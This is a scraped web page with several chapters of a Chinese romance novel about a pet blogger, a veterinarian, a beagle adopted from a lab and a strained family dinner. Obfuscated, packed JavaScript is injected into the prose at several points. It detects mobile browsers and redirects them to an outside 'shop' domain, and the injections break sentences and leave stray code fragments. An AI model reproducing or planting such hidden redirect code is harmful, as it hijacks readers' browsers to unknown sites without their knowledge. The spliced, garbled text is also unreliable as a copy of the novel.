0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495840|202496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“在旁边等着就好。” “真的不用——” “煮都煮了。” 他动作很快,烧水、下面、切牛肉,即使在发烧残余的乏力中,手腕的力道和精准度还是没落下。 大概十分钟后,两碗清汤牛肉面便端上桌。 灯光柔和,香味迷人。李朝穗依旧有些不安,拘谨地坐着,“谢谢你,今晚真的是太麻烦你了。” 许琮拉开椅子坐下,“你今天给我煮粥了,礼尚往来。”他动筷,示意李朝穗也尝尝。 李朝穗不再客套,免得浪费了这美食。汤底鲜美,面条劲道适口哦,搭配上卤牛肉,可以称得上是她来云栖后吃过最好吃的面。 两人安静地进食,气氛温和又带着一丝难以言说的微妙,尴尬渐渐消散,只剩淡淡的暖意。 吃到一半,李朝穗握着筷子,主动开口:“许医生,你退烧了吗?” “嗯,退了。” “那就好。” 许琮看向她,语气平缓:“可以不用叫我许医生的。” “可以不用叫我许医生的。” 李朝穗停下夹面的动作,眼神带着几分疑惑:“那我叫你什么?” “许琮。直接叫名字就好。你今天刚来的时候就是这么叫的。” 她恍然想起,下午进门满心机器,脱口而出叫的是他的大名,反倒是后来和他聊天,多了几分拘谨,才又变成之前的称呼。 之间轻轻摩挲着碗边,她闷闷地应了一个“嗯”字。 面吃了大半碗,胃里的空虚渐渐被填满,用餐速度也慢了下来。她用筷子在碗里搅了搅,挑起一根面条又放下。许琮已经吃完了,靠在椅背上,手搭在桌沿,安静地看着她。 “许……琮。”她叫了一下,像是还没习惯这个叫法。 “嗯。” “你后来辞职了吗?” 许琮思索了两秒,意识到她是在说前几天自己主动提起在医药公司实习的事,“辞了,实习期结束就没再续约。” “那你后来……” “休息了一个月,一个人出去走了走。”他的目光从她脸上移开,落在手中的水杯,“去了藏林源,爬雪山之巅的时候,遇到了你。” 李朝穗手里的筷子停住了,她抬起头,眼睛里全是不确定的信号。 雪山之巅,那趟旅行的事情她记得一些,记得那天的风很大,记得雪的反光刺得人睁不开眼,记得爬山的人很多,人头攒动,她一直紧紧牵着岁岁,生怕它摔倒。 至于许琮,她的确没什么印象,如果没有那张合照,她也许永远不会知道这事。 “我们……当时有相互认识吗?”她试着让自己的语气显得不那么突兀,“我有些不记得见没见过你,但照片上确实有我们两个人。” 许琮把水杯转了一圈,杯中清水轻轻荡漾,一圈圈细碎的波纹散开,泛着细碎柔光, “出发前,我就站在离你不远的地方。你在跟岁岁说话,蹲在地上给它整理胸背带,它不配合,你哄了它好一会儿。”他重新看向她,语气平缓又带着追忆,指尖无意识敲着杯壁。 “上山的时候你在你们队伍的最后面。你本来有力气追上去的,但看到我走得那么慢,又一声不吭的,你就一直留在队后,隔一会儿跟我说一句话。” “说什么了?” “大部分我都记不太清了。只记得你问我从哪里来的,我说云栖,你说云栖是个好地方,以后要去看看。” 李朝穗放下筷子,碗里的面已经所剩无几,只留下一碗清汤。 “快到山顶的时候有一段路,雪太厚,我脚滑了一下,差点摔倒。”许琮嘴角微微上扬,“你反应很快,一把扶住我的胳膊,以为我低血糖,掏出口袋里的糖,剥开糖纸就直接塞进我嘴里。” “是椰子糖。” 李朝穗心头一颤,指尖微微蜷缩,从桌面滑了下去。 记忆像被人从水里捞出来的湿衣服,沉甸甸地往下坠。 17. 领养 第十七章领养 她想起来了,那个穿着一身黑,一言不发,浑身散发着低气压的男人,刚看一眼就感觉他不是出来旅游玩耍的,所以就多留了个心眼。毕竟每年都有人压力大爬雪山的时候自我了断这样的新闻,李朝穗害怕这人也是这样,一路上不停地跟他搭话。 登顶之后,喜悦冲昏脑袋,她忘记了这件小事。 没想到许琮记得那么清楚。 李朝穗百般心绪翻涌却无心细想,一种朦胧的情绪由此滋生,她整夜浅眠未安。 彻夜的暴雨终是停歇,只留下湿漉漉的街道与寒风,云栖正式入冬了。 天光刚漫进屋子,客厅就飘来粥香。病愈的许琮敲了敲李朝穗的房门,声线平稳:“起床了。” 李朝穗换上了自己的衣服,推门出来,视线下意识避开他,浑身透着不自在。。 许琮神色淡然从容,把盛好的粥推到她面前,“熬了粥,趁热吃。” 观察到许琮依旧没什么奇怪的表现,她也慢慢的忘掉昨晚的事。 两人用完早餐,他便开车带她一起前往医院。 昨晚徐安把剪辑好的比格视频发给李朝穗,经她确认没问题后发到“安心庇护”的新账号上,流量虽不如在她账号发的那一条,但也有不少人评论私信。 其中,一个在云栖市工作独居的女生说想要领养它,徐安询问了一些基本信息,觉得不错,就把此事告诉了李朝穗。 李朝穗则在此时告诉了许琮。 “那个领养人,条件各方面确实不错。”许琮听完她的话,开口,“你今天过去把情况跟她说清楚。实验犬没有过过正常生活,很多东西都要从头教。上厕所、走路、吃饭,可能都比普通狗难一些。” “如果她听完这些还愿意领养的话,加个微信,定期回访。前三个月每周发一次视频,后面可以放宽到一个月。” 李朝穗默默记下,盘算着待会和人家见到面要如何开口。 到了医院,两个人一前一后走进大厅。前台小姑娘正在整理挂号单,抬头看见他们,嘴角按捺不住地翘起来,声音比平时高了半度:“许医生早,李小姐早。” 许琮应了一声,往办公室走了。 “早上好。”她说了一句,准备留在原地等徐安,却感觉到前台那道目光还在自己身上,有些不自在地离开了。 前台小姑娘在她转身那一刻就低下了头,手指在手机屏幕上飞快地打字。 “家人们家人们,许医生和大博主有新进展了!他们两人是一起来医院的!” 群里瞬间炸了。 “我就说嘛,许医生这色相,很难有人不动心。” “绝对是许医生先喜欢上人家的,你们有没有见过他那眼神,哎呦,甜的能拉丝咧。” “别磕得太上头了,岁岁家长至今还是叫‘许医生’呢。” “关医生今天轮休真的太可惜了。” “关医生在的话早就冲上去当面磕了。” 前台小姑娘看着不断弹出的消息,咧着嘴嘎嘎笑。自从她看到许琮主动送李朝穗回家,她就闻到了爱情的猫腻味。为了印证自己的第六感,她和全医院的人都分享了这个消息,现在小群的功能已经从聊闲天变成了专业磕cp。 李朝穗在住院区和那只比格互动,不久后,徐安匆匆赶到。 “学姐!” 徐安气喘吁吁地站在她面前,头发被风吹得有点乱。她抓住李朝穗的手,把她拉起来,上上下下看了个遍。 李朝穗被她盯得发毛,“怎么了?你怎么这么看我?” 徐安抿着嘴唇,视线越过她的肩膀,往走廊那头瞄了一眼。许琮正好从办公室出来,手里拿着病历夹,往其他地方走去,徐安把目光收回来。 她摇了摇头,“没事,有点担心白菜被……拱了。” 李朝穗怎么会听不懂她在说什么,一下就把徐安的手拨开,“没有的事,别想多了。” 徐安瞥见她的耳朵,憋住笑意,从背包里拿出设备,准备工作。 李朝穗走到大厅,看见长椅上坐着一个年轻女孩。二十五六岁的样子,扎着低马尾,穿着一件浅蓝色的羽绒服,膝盖上放着一个帆布包。女孩看见她靠近,站起来主动和她介绍自己。 “你好,我是圆圆。” “你好,我是李朝穗。”李朝穗伸出手跟她握了一下,“圆圆,我们这次拍摄会记录领养过程,发到网上的。你介意吗?” “不介意。” “那麻烦你戴一下这个。”李朝穗从徐安手里接过另一个录音设备,别在圆圆的衣领上。 “好了,我带你去看看那只比格。” 住院区飘着淡淡的消毒水味,圆圆跟在两人身后,走到最里排的笼位前。 这只比格犬入院快一周,伤势已基本痊愈,不再是刚来时缩在角落一动不动的样子。护士跟李朝穗说,这几天大家有空就陪它待着,摸它、跟它说话,它慢慢也会回应人了。 护士把小狗抱出笼子,示意圆圆可以靠近。 圆圆蹲下身,没有急着伸手,静静等它先放松。 小狗突然落地,有些茫然,往前挪了两步,鼻尖轻轻碰了碰圆圆的鞋带。圆圆才缓缓伸手,手心朝上,悬在它鼻尖前。 它嗅了嗅,往前凑了半步,把脑袋抵在她手心里蹭了一下。 圆圆的手顿住,目光落在它有着伤疤的腹部,她轻声问:“它叫什么?” “还没名字,等领养人取。” 圆圆点头,手掌轻轻覆在它背上,它也配合地离她更近一步。 李朝穗深吸一口气,把组织好的话说出来:“圆圆,有些话我得跟你说清楚。它虽然才一岁左右,但从小在实验室长大,没过上正常日子,上厕所、走路、爬楼梯都要从头教,比普通狗难带得多。” “它不太会跟人亲近,前期要花大量耐心,你确定想好了?” 面前的女孩点点头,她翻过比格的耳朵,看到了她们口中的编号,耳内灰色的数字,像洗不掉的烙印。她指尖顺着数字摸了一遍,看着它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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李朝穗掏出手机:“加个微信,后续要是有遇到什么问题都可以找我,我也会去回访。” “没问题。” “我们先走了。”说完,圆圆就心疼地把欣欣抱在怀里。 到医院门口,圆圆蹲下身,把它的大耳朵拢在头顶,像两只小蝴蝶结,冲李朝穗她们晃了晃,“拜拜。” 午后的阳光暖融融地洒下来,落在一人一狗身上,寒风变得轻柔,卷着淡淡的的草木香。李朝穗望着他们离开的方向就就没动,画面太美,以至于她的眼眶都有些湿润。 潮湿的地面早已变干,风轻轻拂过,卷起路边的几片细碎的落叶,阳光透过枝叶画出斑驳的光影,落在台阶上。 手机震动,是许琮的消息:“说清楚了?” 李朝穗指尖轻敲屏幕,语气比平日里柔和几分:“说清楚了,人跟狗都走了。” “别忘了定期回访。” “知道。” 风掠过,李朝穗看着空空的路口,心里清楚,这只被苦难困住太久的小狗,终于跟着它的主人,走出了第一步,走向了新的日子。 18. 鸿门宴 第十八章鸿门宴 在许琮家的那一晚,李朝穗干脆的回绝了周静姝让她和周正桓见面的提议,转头把母亲转来的钱原封不动退了回去。 从那天起,她的手机就没消停过。 周静姝的消息每天都会弹出来几条,全是绕着让她赴约的目的,翻来覆去的用亲情劝说。李朝穗看都懒得看,索性一概无视,一条都没有回复。 直到今天,周静姝发来最新的消息: “穗穗,妈妈来云栖了,明天一起吃个饭吧。就在市中心那家云锦阁,听说评价很好。” 怎么突然来云栖了,是因为她说了自己在这吗? 李朝穗指尖划过屏幕,沉默片刻。 云锦阁她当然知道,云栖市名头最响的中式庭院餐厅,装修古雅考究,点评软件上人均消费高得刺眼,她惦记去拍一期云栖高端探店视频很久了,却始终舍不得自己掏腰包。 周静姝又发了一条:“妈妈难得来一趟,你总得见见我吧。” 李朝穗盯着那行字思忖几秒,免费蹭一顿云锦阁的饭,还能顺道拍好探店素材,不用自己花一分钱,怎么算都不亏,便答应了下来。 几年不见,也不知道妈妈变化大不大。 出门前,徐安就看到她在翻箱倒柜找着什么,床上的衣服被扔得乱七八糟的,问她,又就说没事。 这哪像没事的啊,换了好几件衣服,还一个劲问她哪件比较合适见长辈。选好了衣服,她又对着镜子纠结要不要化妆。 傍晚,她如约赶到饭店,沿途古雅清幽的庭院精致大气,她随手举起手机拍摄店内环境。推开包厢门时,里面隐约传来两道交谈的声音,实木门框擦过地面,发出极轻的声响。 周静姝坐在主位上,穿一件墨绿色的丝绒外套,耳朵上坠着两颗珍珠,妆容精致得体,与四年前的她变化不大。她身侧坐着个男人,深灰色西装搭配素白色衬衫,并未系领带,领口松快敞着,正低着头翻看手机。 听见门口的动静,周静姝脸上绽放出温柔的笑容,热情地打招呼:“穗穗来啦,快进来!” 李朝穗还站在门口,手指搭在门把手上迟迟不放。周静姝索性起身来迎,拉住她的手,把人往里带,目光热切地看着她:“我的女儿长大了,成漂亮大姑娘了。” “来,你看看这是谁,还认得吗?” 她指向旁边那个男人,男人应声抬起头。 李朝穗一眼便认出他,轮廓比少年时凌厉许多,下颌线利落分明,鼻梁上架着一副细框银边眼镜,褪去了往日的青涩,多了几分律师独有的沉稳。 前几日周静姝提过,周正桓去年留学归来,如今就在云栖做律师。 看清男人的那一刻,李朝穗的心瞬间凉了半截。 她脸上的神色淡了几分,顺着周静姝的话,叫了一声:“妈妈。”随即看向旁边的男人,语气平静唤了句:“表哥。” 周静姝笑着摆了摆手,连忙开口纠正:“穗穗呀,叫名字就好。你自己上一回不也说嘛,你们俩就没有血缘关系。” 李朝穗权当没听见,拎着手里的包,径直走到离两人最远的位置坐下,刚迈出一步,周静姝又拉起她的手,温暖柔软的触感从手掌传来,妈妈笑着跟她说:“坐妈妈身边吧,好久没见了,让妈妈好好看看你。” 她一瞬间晃了神,任由她把自己带到座位上,坐在她的身边。 这场饭局的第二个主角,周正桓,始终安坐在原处,身体微微靠着椅背,注视着她的动作。眼镜后面那双眼睛十分平静,看不出有什么波澜,仿佛他们真的是毫无关系的陌生人。 周静姝的目光在两人之间来回转了一圈,清了清嗓子,笑着问道:“正桓,你爸最近身体怎么样?” “还行。” 李朝穗看没自己什么事,低头从包里掏出支架,摆弄起拍摄角度。她知道周静姝是什么意思,余光扫过男人,心里暗自揣测,他大概率也是被周静姝骗来的,对这场刻意安排的饭局,怕是和自己一样抵触。 调试设备的间隙,她偶尔抬眼看看周静姝,对方似乎有话要跟她说,可看到她冷淡的样子,就把交谈对象换成了男人。 听着她说话,竟觉得那声音比电话里近了许多。 没多会儿,服务员陆续推门上菜,一道道名贵菜式次第摆上桌。十五年陈皮文火雪花牛、金陵烤鸭、清炖蟹粉狮子头……摆了满满一桌。 李朝穗看着这一桌子菜,心里暗自感慨,周静姝出手,向来是这般毫不吝啬。 她握着云台细细对准每一道菜,镜头缓慢移动,压低声音做着讲解。 周静姝从她刚开始倒腾设备的时候就开始偷看她,不知道她在做些什么。等李朝穗拍完一道狮子头,准备换到下一道的时候,她终于开口问。 “穗穗,你这是在做什么呀?” 李朝穗的目光没从镜头上移开,“拍着玩。” 周静姝皱了皱眉,不太明白,现在的年轻人都喜欢拿着个手机拍拍拍的,就连小孩子都想当网红。可终究是没继续追问。 等所有菜品拍摄完毕,李朝穗收起设备,坐回椅子上享受美食。周正桓大部分时候也是保持沉默,只是配合着周静姝的话,偶尔转转桌子,慢条斯理地夹几口菜。 只有周静姝,用餐期间嘴巴没停过,她先是说自己身体不太好,又说最近在学插花,提起李朝穗的弟弟——她后来生的儿子,满脸笑容,话锋一转就到了李朝穗身上。 “我和你爸爸很早就分开了,这么多年一直忙着工作,也没抽出时间多陪陪你。” “不管怎么样,你一直都是我们的女儿,我们一直是爱你的。” 这番故作深情话,听的李朝穗浑身不自在,忍不住轻颤了一下。 周静姝夹了块烤鸭放到周正桓碗里,看着他说:“我们年纪也大了,别的不求,就希望看她早点成家,身边有个人照顾,我和她爸爸就算放心了,也能弥补这么多年的愧疚。” “舅妈。”周正桓忽然叫了一声。 这一声称呼,让周静姝脸上的笑容僵了一瞬,当即有些气恼:“正桓,你怎么也学她那样啊,我刚才不都跟你说了,你们没有血缘关系,你要是能和穗穗在一起……” 周正桓偏过头看了一眼正在拍摄的李朝穗,语气带着不容置疑的坚定:“我和穗穗当了十多年的兄妹,她永远是我的妹妹。” “舅妈,多余的话,不要再说了。” 他的话一字不落,清清楚楚传进李朝穗耳朵里,手上的动作顿了一秒,不动声色地挑了挑眉。看来这个便宜表哥脑子还算清醒,没有什么歪心思。 包厢里安静了一瞬。 周静姝的笑容挂不住了,却依旧维持着体面,换了个角度继续说:“你们两从小就在一块,有感情基础,怎么就不能试试呢。” “你现在事业有成,也到适婚的年纪了,和穗穗相互了解,再合适不过了。” 一声清晰的冷笑声打破了和谐的氛围。 李朝穗脸上带笑,像看戏一样看着她。 周静姝彻底恼了,沉下脸色,看向李朝穗质问道:“穗穗,你怎么能对妈妈这种态度呢?你爷爷奶奶是不是没好好教你?” 李朝穗的表情瞬间冷了下来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507983|202496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她把筷子搁在碟沿上,清脆的一声响。 周正桓的筷子停在半空,又迅速把手收了回来。他抬眼看向李朝穗,却不敢多留,放在桌沿的那只手慢慢收拢,指节泛起白晕。 “这事和奶奶没关系,你别把她扯进来。” “我看你就是被她教坏了。”周静姝的火气一下子窜了上来,声音拔高了几分,“一点都不懂得尊重长辈,体谅父母。我知道你怨我们,但我和你爸爸也有苦衷。更何况这么多年,我们每个月都给抚养费,从来没缺过你吃穿用度。” 李朝穗慢慢抬起头,看着周静姝,看着她的妈妈。那张脸上画着精致的妆,眼角的细纹被粉底遮住了,岁月给她的痕迹都被掩盖,连同她这个女儿也是这样的。 需要配合她的时候是女儿,不需要的时候连想都想不起来。 成长过程中,鲜少能与她见面,每次闹腾的不行了奶奶才会给她打电话,可没说几句,对面的周静姝就会被一声稚嫩的“妈妈”抢走注意力。从高中开始,李朝穗每个月都能收到她发来的钱,很多很多,她以为这是在意的表现,每次都会说想和她见见面,每次的期待都落空。 “你叫我来就是想跟我说这个吗?”她偏过头,看向旁边一声不吭的周正桓,“让我和自己的表哥在一起,来买你们的心安?” 周静姝嘴唇翕动了几下,什么都没说出来。 李朝穗站收拾好东西,站起身,“就凭这,想要我感恩戴德?”她语气冰冷刺骨,“生而不养,每个月给点钱就觉得尽到责任了,父母可真容易当啊。” 话音落下,她转身往门口走,厚重的包厢门被带上,发出一声沉闷的巨响,回荡在走廊间。 地毯吞掉了脚步声,每踩下的一步都让她更加难受。 快步走出云锦阁气派的大门,夜晚的凉风铺面而来,却吹不散李朝穗心底的怒火与烦闷。 她原以为,周静姝只是来云栖见见她,顺便唠叨几句婚事,没想到她真起了撮合她和周正桓的心思,还先斩后奏把人找过来了,甚至口无遮拦提到了奶奶。她原以为这个要面子的中年贵妇不会说这么无理的话,看来是她太不了解自己的妈妈了。 街边霓虹流光溢彩,主干道车流穿梭不息,车灯连成蜿蜒的光河,将市中心的夜晚衬得喧嚣又繁华,一眼望去全是水泄不通的车流。 她出门时早就料到晚高峰路况糟糕,压根没开车,此刻正站在路边准备打车,身后忽然传来一道温润的男声,叫住了她。 “李朝穗。” 是周正桓。 李朝穗回头,看向快步追出来的男人,目光扫到他身后,没看到讨人厌的身影,随即收回目光,冷冷扫了他一眼,语气满是不耐烦:“你来干什么?” 周正桓走到她旁边,扶了扶鼻梁上的眼镜,解释道:“舅妈说她来云栖玩,想让我陪她吃顿饭。” 李朝穗闻言,冷哼一声,语气带着明显的讥讽:“她让你来你就来,你什么时候变得这么听话了?” 周正桓身侧的手下意识收紧,睫毛轻颤,眼底泛起难以察觉的苦涩,不敢反驳半句。 看他这副反应,李朝穗心底说不出的复杂情绪,借着小时候的口吻威胁道:“你要是早就知道她的心思还敢来,我肯定打死你。” 周正桓怔了一下,低低笑了一声,“已经不是小时候了,你打不过我的。” 其实小时候她也打不过,都是周正桓让着她的。 长大之后,他已经很久没听到李朝穗用这样幼稚的语气跟他说过话了,相必奶奶那事…… 终究是他的错,他不敢奢求穗穗的原谅。 19. 往事 第十九章往事 出租车在车流里慢慢流动,李朝穗靠在车窗上,玻璃冰凉,贴着太阳穴。路灯一盏一盏从脸上划过,橘黄色的灯光忽明忽暗。她闭着眼,任由光影在眼皮上跳动。 脑子里忽然涌进一些画面。 那年她四岁,大年三十前两天,奶奶领回来一个男孩,说:“穗穗啊,他是你表哥,今年啊,跟我们一起过年。” 老宅子的院子里挂着一排红灯笼。她蹲在地上,手里拎着爷爷做的剪纸,头也没抬。 闷闷地说了句:“我没有表哥。” 她是没抬头,可刚才真真地看到所有事,姑父送他到门口、奶奶答应留下他、他笑着喊奶奶。 她隐约觉得这个人会抢走她的奶奶。 果然,没过多久,他就露出端疑了。 周正桓比她大两三岁,不爱说话,准确来说是不爱和她说话。爷爷奶奶在的时候他会主动问好,只有他们俩的时候,压根不理她。 李朝穗在院子里追蝴蝶,他就坐在廊下看书。她故意把他搭好的积木推倒,这人只看了一眼,理都没理她,重新搭起来。她气不过,趁没人的时候踩了他一脚,他疼得皱眉,但还是没理她。 她不喜欢他。 不过周正桓也有好的一点,在生活上很照顾她。 除夕夜,他们两坐一块,李朝穗人小手短,用筷子也还不太利索,经常夹不住菜。奶奶疼她,一个劲往她碗里添菜。 可李朝穗不服气啊,怎么就她一个人用不明白筷子,好胜心已经把她架起来了,她非得夹起那块鸡翅不可。 试了几次,她也发现自己的问题在哪了,她使的筷子,只会夹正正竖着摆在她面前的,放眼望去,盘子里哪有符合条件的啊? 哎,你别说,没过一会盘子里的鸡翅还真变成这样了,还是她面前的几块。 李朝穗顺着半空还未收回的筷子沿着看去,除了身旁的周正桓,再没有第二个人操控手臂了。 这人还是没看她,好像现在的变化与他无关似的。李朝穗也无所谓,顺坡下驴夹起了鸡翅,高兴地朝爷爷奶奶邀功,在溺爱的夸奖声中,她吃完了和周正桓的第一顿年夜饭。 大年初七,爸爸来了。爸爸带了一大袋漂亮裙子,粉的、白的、紫的……反正很多样,每一条都非常好看,每一条都像是动画片里的公主穿的,李朝穗挑花了眼。 爸爸摸着她的脑袋,说:“这是你的林阿姨给你买的,喜欢吗?” 她问:“林阿姨是谁?” 李洪成说:“是爸爸的女朋友,马上就是你的新妈妈了。” 李朝穗立即把裙子从身上扯下来,拉链卡住了头发,头皮被扯得生疼。 她顾不上疼,一边扯一边喊:“不是我妈妈!我有妈妈!我有妈妈!”好像裙子留在身上多一秒,她的人生就会迎来巨变。 裙子掉在地上,粉色的纱裙沾了院子里的泥。 她光着身子跑出去,穿过走廊,穿过堂屋,到处找爷爷奶奶。 堂屋没人,厨房没人,卧室也没人,哪都没人,好像所有人都把她抛下了。她忘记了,爷爷奶奶出门买菜,临走前交代了她好好和爸爸相处。 院子里只有周正桓,坐在廊下的竹椅上,手里拿着一本书,听到声音朝她的方向看去。 李朝穗站在院子中间,小小的身躯冻得浑身发抖。 周正桓连忙扔下书,跑过来,把外套脱下来裹住她。 外套很大,把她整个人罩在里面,留在布料上的余温让她脱离了一会寒冷,可身子还是发抖。 李朝穗在他怀里挣扎、哭喊:“表哥……我要找奶奶!我要奶奶!”红通通的眼睛无助地望着他,小手紧紧地抓着他。 那是她第一次叫他表哥。 他的手一下一下拍着她的背,尽量用温柔的语气安慰她:“奶奶马上就回来了,马上就回来了。” 她哭得喘不上气,鼻涕眼泪全蹭在他的毛衣上。 后来爸爸走了,被奶奶轰走的。 奶奶在门口跟李洪成说:“以后孙女就养在我身边,我和老爷子身体还可以,把她养大不是问题。你们要是还有心,就每个月给钱,然后过你们自己的新生活去……” 她和周正桓躲在院子的角落里,粗壮的枇杷树把他们俩的影子遮住。 李朝穗听不懂奶奶说的那些话,但她知道爸爸走了。她红着眼睛,抽噎着问周正桓:“我爸爸他是爱我的对吗?” 周正桓看着门口的方向,她看不到他的眼神。 “他不爱你,他要是爱你就不会抛下你不管。” 李朝穗愣住了,没想到会是这样的答案。然后她猛地扑上去,一把把周正桓推倒在花坛边上,抓起他的手,狠狠咬在虎口的位置。 周正桓闷哼了一声,没有甩开她。 等她咬够了松开口,他才把手抽回去,虎口上有一圈深深的牙印,凹陷处泛着紫红色。 李朝穗还不解气,一边哭一边用拳头打他。 他挨了几下,终于不耐烦了,伸手挡了一下,推了她一把。 她没站稳,一屁股坐在地上。 愣了一秒,接着哭得更凶了,哭得整个人都在发抖,哭得上气不接下气。 周正桓站在旁边,低头看了看自己虎口上那圈牙印,耳边是小女孩撕心裂肺的哭声。他心中的弦被反复拉扯,酸涩感顺着血管蔓延全身,说不清是什么情绪。 他瞄了眼门口,蹲下来,把她的头发从脸上拨开,开口安慰她:“别哭了。” 陷入崩溃的人哪听得进别人的话啊,李朝穗耳朵里全是自己的声音,模糊的视线也只看到周正桓在向她靠近,想起刚刚的被他推倒,抬脚就把他踹翻。 周正桓没再说话,就那么坐在地上,静静等她哭完。 事后奶奶问起他们两为什么打架,两人倒是十分默契的都糊弄过去了。 那是他们之间唯一的一场架,打完过后,关系似乎好了很多,但也仅体现在有短暂交流。后来李朝穗再也没有叫过他表哥,一直到他出国留学之前,都只叫名字。 - 视线里,出租车越来越小,最后在一个刹那,混进了他分辨不出的海里。 周正桓还站在饭店门口,一步也不曾挪动,也不知道在想什么。 他把手伸进裤子口袋里,掏出一个东西。 一条细细的金链子,最下面坠着一颗稻穗。稻穗的每颗谷粒都做得很精致,在路灯下泛着温吞的光。他用拇指摸了摸那颗稻穗,没来得及细看就收了回去。 身后传来脚步声,周静姝的声音传来:“你没拦住她吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535904|202496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “没有。” “唉,都不知道造了什么孽,亲生女儿要这么说我……” 哀怨又开始了,周正桓不想听她说这些,找了个借口先行离开。 入冬的夜格外寒冷,李朝穗推开院门,一眼望见屋子里的灯全亮着,暖黄色的光从窗户溢出来,把院子里那棵桂树的影子拉得长长的。 她走到门口,还没摸到把手,里头就传来岁岁嘤嘤嘤的急叫。钥匙刚插进锁孔,门就从里面被顶开了。 岁岁扑出来,前爪搭在她腿上,尾巴摇得整条狗都在扭,嘴里还叼着那只漏气的橡胶球,一边哼唧一边往她手里塞。 李朝穗弯下腰,摸了摸它的脑袋。“自己玩啊。” 被拒绝了的小毛孩可怜巴巴地转身离开,寻了个角落啃玩具。 厨房里飘出一股香味,徐安从门后探出头,手里攥着筷子在搅碗里的面,“学姐,火鸡面,要不要来一碗?” 李朝穗摇了摇头:“我不饿,你吃吧。”她现在只想快点安静下来。 徐安端着拌好的面走出来,“学姐,我跟你说件事。我这几天一直在看房子,已经找到合适的了,估计过几天就能搬走。” 李朝穗正在换鞋,手上的动作顿了一瞬,没抬头,许多话在心里转了转,最后只说了:“好。” 她起身朝楼梯走去,却又突然停了下来。 “房东靠谱吗?需不需要我陪你一起去谈合同?” 徐安已经挑起一筷子面塞进嘴里,辣得吸了口气,笑盈盈地摇头:“不用啦,我都已经谈好了。”说完她就低下头,专心跟那碗面较劲。 李朝穗无声点了点头,继续往卧室走去。角落的岁岁猛抬头,看到主人离开,叼起球屁颠屁颠地跟在后面。 二楼的灯没开,她的脚步落在地上,台阶的感应灯随着亮起。 搬走也好,当初说好的,人家总不能一直住在这里。她又是个喜欢安静的,搬走了,家里就完全是她的私人空间,没什么不好的。 冰箱里好像还有菜,徐安在走之前能把这些菜做完吗? 要是不能,她一个人好像也吃不完。 她推开卧室门,没有第一时间开灯,借着窗外透进来的光,把外套脱了扔在椅子上,接着是身上的衣服,一件一件落在脚边。 赤脚踩在冰凉的地板上,踮脚快步走进浴室里。按下电子控制面板的开关,热水瞬间从头顶浇下。 温热的水流猛地从花洒直冲而下,直直砸在头顶。整片厚重水幕瞬间将人笼罩,闷得胸口发紧,连呼吸都变得艰难。 雾气很快就漫了满屋,镜子上结了一层白幕,什么也看不清。 她没有躲开,任由自己陷入缺氧的境地。许久才缓缓低下头,错开迎面涌来的大水柱,紧绷的胸腔终于松快些许,勉强稳住呼吸。 氤氲的雾气裹住周身,所有烦躁与低落,全都融进哗哗水声里,无声沉落。 洗了将近一个小时,里面的人终于舍得出来了。李朝穗只围了一条浴巾,浑身皮肤泛红,头发还在滴水,水珠顺着发尾往下滴,散落四处。 草草吹完头发,她就把自娱自乐的岁岁赶下楼去,这小子没人陪玩也这么闹腾。网上到底是怎么传出狗狗过了三岁就会变得稳重的说法啊,她在岁岁身上一点没看到“稳重”。 20. 僵局 -安心基地 竹扫把刮过水泥地,发出沙沙的声响,一下一下的,还带着落叶被拖动的碎音。这时节,叶子陆陆续续掉光了。 院子里几只小狗在追逐打闹,跑急了就喘,舌头耷拉在外面,哈出的白气一团一团的。 枝头停着的三两只鸟儿被惊动,扑棱着翅膀飞起来,在灰白色的天空里划了一道弧,落到了对面的屋顶上。 李朝穗穿着一件不太合身的灰色外套,领口处露出一截浅灰色的高领打底衫。外套是刚刚珊姐给她的,说她的衣服太干净,怕干活弄脏。 她撑着扫把,把脚边的落叶拢了拢,掏出手机看了一眼群聊。 排班表发出去快一个小时了。表格上只有小院、周哥和张爷几个人填了信息,剩下的格子全都空着。 甚至周哥和张爷的信息还是她填上去的,他们两给李朝穗发私信说不会弄电子的东西,把自个儿空闲的时间告诉她,让她帮忙。 她往上翻了翻下面的聊天记录,大部分人说填不了,工作加班多,确定不了空闲时间。还有小部分,对这个排班表感到不满。 “还要填表?这不就跟工作一样了嘛。” “是啊是啊,我们本来就是想用空余时间做做好事,什么时候有空就什么时候去,这要是排了班,总感觉不太舒服。” “小李啊,我知道你也是好心,但你这么做,让大家都觉得有束缚感,还是像之前一样吧,之前那样挺好的。” 填表排班的事就这么不了了之,她叹了口气,整个人看上去低迷了不少。 徐安从基地库房里走出来,手里拿着统计完的记录表,冲她汇报:“学姐,物资都清点完了,我们什么时候走啊?” “娟姨!珊姐!”李朝穗把扫把搭在墙边,朝正在喂食的两人喊。她一大早收到珊姐的消息,说今天要去城东抓一只怀孕的母犬。 本来呢,她是打算一个人来的。 